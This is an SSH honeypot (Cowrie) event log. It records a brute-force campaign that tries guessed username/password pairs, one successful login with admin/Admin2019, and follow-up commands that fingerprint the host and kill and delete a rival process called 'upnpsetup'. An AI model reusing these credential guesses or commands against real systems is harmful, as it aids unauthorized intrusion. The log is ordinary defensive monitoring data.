{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:18:04.353386Z","src_ip":"203.115.100.24","session":"1e5cc688804c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.115.100.24","src_port":59887,"dst_ip":"10.17.0.5","dst_port":22,"session":"c62c443feab5","protocol":"ssh","message":"New connection: 203.115.100.24:59887 (10.17.0.5:22) [session: c62c443feab5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:18:04.597730Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:18:04.603070Z","src_ip":"203.115.100.24","session":"c62c443feab5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:18:04.837267Z","src_ip":"203.115.100.24","session":"c62c443feab5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"server@2026","message":"login attempt [admin/server@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:18:05.819452Z","src_ip":"203.115.100.24","session":"c62c443feab5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:18:06.291364Z","src_ip":"203.115.100.24","session":"c62c443feab5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.115.100.24","src_port":59995,"dst_ip":"10.17.0.5","dst_port":22,"session":"024816c5dc00","protocol":"ssh","message":"New connection: 203.115.100.24:59995 (10.17.0.5:22) [session: 024816c5dc00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:18:06.525847Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:18:06.532661Z","src_ip":"203.115.100.24","session":"024816c5dc00","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:18:06.752648Z","src_ip":"203.115.100.24","session":"024816c5dc00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"server@2026","message":"login attempt [user/server@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:18:07.636857Z","src_ip":"203.115.100.24","session":"024816c5dc00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:18:08.119027Z","src_ip":"203.115.100.24","session":"024816c5dc00","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.115.100.24","src_port":60083,"dst_ip":"10.17.0.5","dst_port":22,"session":"b864b95ebfd3","protocol":"ssh","message":"New connection: 203.115.100.24:60083 (10.17.0.5:22) [session: b864b95ebfd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:18:08.349928Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:18:08.354770Z","src_ip":"203.115.100.24","session":"b864b95ebfd3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:18:08.576939Z","src_ip":"203.115.100.24","session":"b864b95ebfd3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"server@2026","message":"login attempt [user2/server@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:18:09.499686Z","src_ip":"203.115.100.24","session":"b864b95ebfd3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:18:09.975472Z","src_ip":"203.115.100.24","session":"b864b95ebfd3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.115.100.24","src_port":60184,"dst_ip":"10.17.0.5","dst_port":22,"session":"48f2191c2535","protocol":"ssh","message":"New connection: 203.115.100.24:60184 (10.17.0.5:22) [session: 48f2191c2535]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:18:10.215693Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:18:10.220410Z","src_ip":"203.115.100.24","session":"48f2191c2535","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:18:10.445683Z","src_ip":"203.115.100.24","session":"48f2191c2535","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin2019","message":"login attempt [root/Admin2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:18:11.375618Z","src_ip":"203.115.100.24","session":"48f2191c2535","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:18:11.853327Z","src_ip":"203.115.100.24","session":"48f2191c2535","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.115.100.24","src_port":60282,"dst_ip":"10.17.0.5","dst_port":22,"session":"98a7d3cb925d","protocol":"ssh","message":"New connection: 203.115.100.24:60282 (10.17.0.5:22) [session: 98a7d3cb925d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:18:12.108219Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:18:12.113090Z","src_ip":"203.115.100.24","session":"98a7d3cb925d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:18:12.345336Z","src_ip":"203.115.100.24","session":"98a7d3cb925d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":48918,"dst_ip":"159.203.135.109","dst_port":22,"session":"2f21d8132164","protocol":"ssh","message":"New connection: 159.203.92.129:48918 (159.203.135.109:22) [session: 2f21d8132164]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:18:12.789586Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:18:12.795446Z","src_ip":"159.203.92.129","session":"2f21d8132164","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:18:12.803474Z","src_ip":"159.203.92.129","session":"2f21d8132164","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"abonent1","password":"abonent1","message":"login attempt [abonent1/abonent1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:18:12.937289Z","src_ip":"159.203.92.129","session":"2f21d8132164","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"Admin2019","message":"login attempt [admin/Admin2019] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:18:13.305707Z","src_ip":"203.115.100.24","session":"98a7d3cb925d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:18:13.540020Z","src_ip":"203.115.100.24","session":"98a7d3cb925d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.115.100.24","src_port":60365,"dst_ip":"10.17.0.5","dst_port":22,"session":"c831ec1fb46c","protocol":"ssh","message":"New connection: 203.115.100.24:60365 (10.17.0.5:22) [session: c831ec1fb46c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:18:13.807843Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:18:13.814782Z","src_ip":"203.115.100.24","session":"c831ec1fb46c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:18:13.945548Z","src_ip":"159.203.92.129","session":"2f21d8132164","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:18:14.043263Z","src_ip":"203.115.100.24","session":"c831ec1fb46c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"Admin2019","message":"login attempt [admin/Admin2019] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:18:14.984827Z","src_ip":"203.115.100.24","session":"c831ec1fb46c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:18:15.490866Z","src_ip":"203.115.100.24","session":"c831ec1fb46c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:18:15.494438Z","src_ip":"203.115.100.24","session":"c831ec1fb46c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:18:15.949211Z","src_ip":"203.115.100.24","session":"c831ec1fb46c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:18:16.229812Z","src_ip":"203.115.100.24","session":"c831ec1fb46c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"hostname","message":"CMD: hostname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:18:16.233684Z","src_ip":"203.115.100.24","session":"c831ec1fb46c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7063dece7cccf374d9fa1ee30ff23300fa42477e064e69be7bb6d01c0cfff682","size":16,"shasum":"7063dece7cccf374d9fa1ee30ff23300fa42477e064e69be7bb6d01c0cfff682","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/7063dece7cccf374d9fa1ee30ff23300fa42477e064e69be7bb6d01c0cfff682 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:18:16.689188Z","src_ip":"203.115.100.24","session":"c831ec1fb46c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:18:17.001683Z","src_ip":"203.115.100.24","session":"c831ec1fb46c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m&&pkill upnpsetup","message":"CMD: uname -m&&pkill upnpsetup","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:18:17.005785Z","src_ip":"203.115.100.24","session":"c831ec1fb46c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/751a5bdfa8c56fe998ad0f190aa9e2006f85be557939b98c1552edb5e76d1c23","size":7,"shasum":"751a5bdfa8c56fe998ad0f190aa9e2006f85be557939b98c1552edb5e76d1c23","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/751a5bdfa8c56fe998ad0f190aa9e2006f85be557939b98c1552edb5e76d1c23 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:18:17.462007Z","src_ip":"203.115.100.24","session":"c831ec1fb46c","protocol":"ssh"}
{"eventid":"cowrie.client.size","width":80,"height":24,"message":"Terminal Size: 80 24","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:18:20.803346Z","src_ip":"203.115.100.24","session":"c831ec1fb46c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:18:21.035828Z","src_ip":"203.115.100.24","session":"c831ec1fb46c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"sudo pkill upnpsetup","message":"CMD: sudo pkill upnpsetup","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:18:21.039890Z","src_ip":"203.115.100.24","session":"c831ec1fb46c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ecea62e7cebe0c02977e571387dd7eb13517ffbd2dc08932a23dd2856bee78a9","size":0,"shasum":"ecea62e7cebe0c02977e571387dd7eb13517ffbd2dc08932a23dd2856bee78a9","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ecea62e7cebe0c02977e571387dd7eb13517ffbd2dc08932a23dd2856bee78a9 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:18:21.277283Z","src_ip":"203.115.100.24","session":"c831ec1fb46c","protocol":"ssh"}
{"eventid":"cowrie.client.size","width":80,"height":24,"message":"Terminal Size: 80 24","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:18:22.264616Z","src_ip":"203.115.100.24","session":"c831ec1fb46c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:18:22.494828Z","src_ip":"203.115.100.24","session":"c831ec1fb46c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"rm ./upnpsetup","message":"CMD: rm ./upnpsetup","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:18:22.498845Z","src_ip":"203.115.100.24","session":"c831ec1fb46c","protocol":"ssh"}
